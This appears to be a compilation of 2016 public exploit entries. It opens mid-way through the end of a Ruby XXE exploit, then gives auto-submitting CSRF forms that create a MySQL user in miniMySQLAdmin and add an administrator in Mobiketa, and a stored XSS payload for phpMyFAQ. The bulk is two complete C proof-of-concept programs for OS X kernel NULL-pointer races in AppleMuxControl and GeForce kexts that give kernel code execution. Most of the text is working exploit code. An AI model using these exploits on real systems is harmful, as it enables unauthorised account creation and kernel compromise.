pluginRes = httpConn.request(pluginReq)
wsmanThread.join
xxeThread.join
print "\n\nSuccessful XXE: #{result}\n\n" unless result.nil?
<!--
# Exploit Title: miniMySQLAdmin 1.1.3 - CSRF(Execute SQL Query)
# Date: 2016-06-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://xdsoft.net/minimysqladmin.html
# Software Link: https://github.com/xdan/miniMySQLAdmin/archive/master.zip
# Version: v1.1.3
# Tested on: Debian [wheezy]
# CVE : none
-->
<hr>
<form name="csrf_poc" action="http://192.168.0.14/vul_test/target/miniMySQLAdmin/" method="GET">
<input type="hidden" name="dbname" value="mysql">
<input type="hidden" name="table" value="user">
<input type="hidden" name="sql" value="create user exploit_user"> <!-- SQL Query -->
<input type="submit" value="Replay!">
</form>
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
<!--
#### Output ####
#> select * from `user` order by `User` asc limit 20
Host User
% exploit_user1
-->
<!--
# Exploit Title: Mobiketa - CSRF Add Admin Exploit
# Date: 09/06/2016
# Exploit Author: Murat YILMAZLAR
# Vendor Homepage: http://www.ynetinteractive.com/mobiketa/
# Version: 1.0
# Exploit:
< -- bug code started -- >
-->
<html>
<body>
<form action="[SITE]/[mobiketa_path]/index.php?url=user" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="is_admin" value="1" />
<input type="hidden" name="name" value="murat y" />
<input type="hidden" name="email"
value="murrat@protonmail.com" />
<input type="hidden" name="username" value="murrat" />
<input type="hidden" name="password" value="123123123" />
<input type="hidden" name="id" value="15" />
<input type="hidden" name="update" value=" " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!--
< -- end of the bug code -- >
#########################
[+] Contact: http://twitter.com/muratyilmazlarr
-->
# Exploit Title: phpMyFAQ 2.9.0 Stored XSS
# Date: 09-06-2016
# Software Link: http://www.phpmyfaq.de/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality.
But this function doesn’t protect against XSS.
http://security.szurek.pl/phpmyfaq-290-stored-xss.html
2. Proof of Concept
By default every user can propose faq entries.
When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:
http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl
For exploitation use folowing url inside Link for this FAQ field:
http://example.com/"><script>alert("xss")</script>
3. Solution:
Update to version 2.9.1
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=783
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
// ianbeer
// clang -o mux_control_race mux_control_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in AppleMuxControl.kext
The method AppleGraphicsControlClient::checkArguments does actually appear to test whether the pointer at this+0xd8 is non-null, but uses it anyway :)
We can race external methods which call this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 9; // getAGCData
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc() {
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("AppleMuxControl", 0);
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for (;;) {
poc();
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
// ianbeer
// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
/*
OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
unsigned int selector = 0;
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint8_t inputStruct[40960];
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[40960] = {0};
size_t outputStructCnt = 0;
io_connect_t global_conn = MACH_PORT_NULL;
void set_params(io_connect_t conn){
global_conn = conn;
selector = 0x100; // GetHandleData
inputScalarCnt = 0;
inputStructCnt = 0;
outputScalarCnt = 16;
outputStructCnt = 4096;
}
void make_iokit_call(){
IOConnectCallMethod(
global_conn,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
}
OSSpinLock lock = OS_SPINLOCK_INIT;
void* thread_func(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
// usleep(1);
make_iokit_call();
OSSpinLockUnlock(&lock);
return NULL;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
void poc() {
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, thread_func, NULL);
mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
set_params(conn);
OSSpinLockUnlock(&lock);
IOServiceClose(conn);
pthread_join(t, NULL);
}
int main(int argc, char** argv){
kern_return_t err;
// re map the null page rw
int var = 0;
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
if (err != KERN_SUCCESS){
printf("%x\n", err);
}
vm_address_t addr = 0;
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
if (err != KERN_SUCCESS){
if (err == KERN_INVALID_ADDRESS){
printf("invalid address\n");
}
if (err == KERN_NO_SPACE){
printf("no space\n");
}
printf("%x\n", err);
}
char* np = 0;
for (int i = 0; i < 0x1000; i++){
np[i] = '\x41';
}
for (;;) {
poc();
}
return 0;
}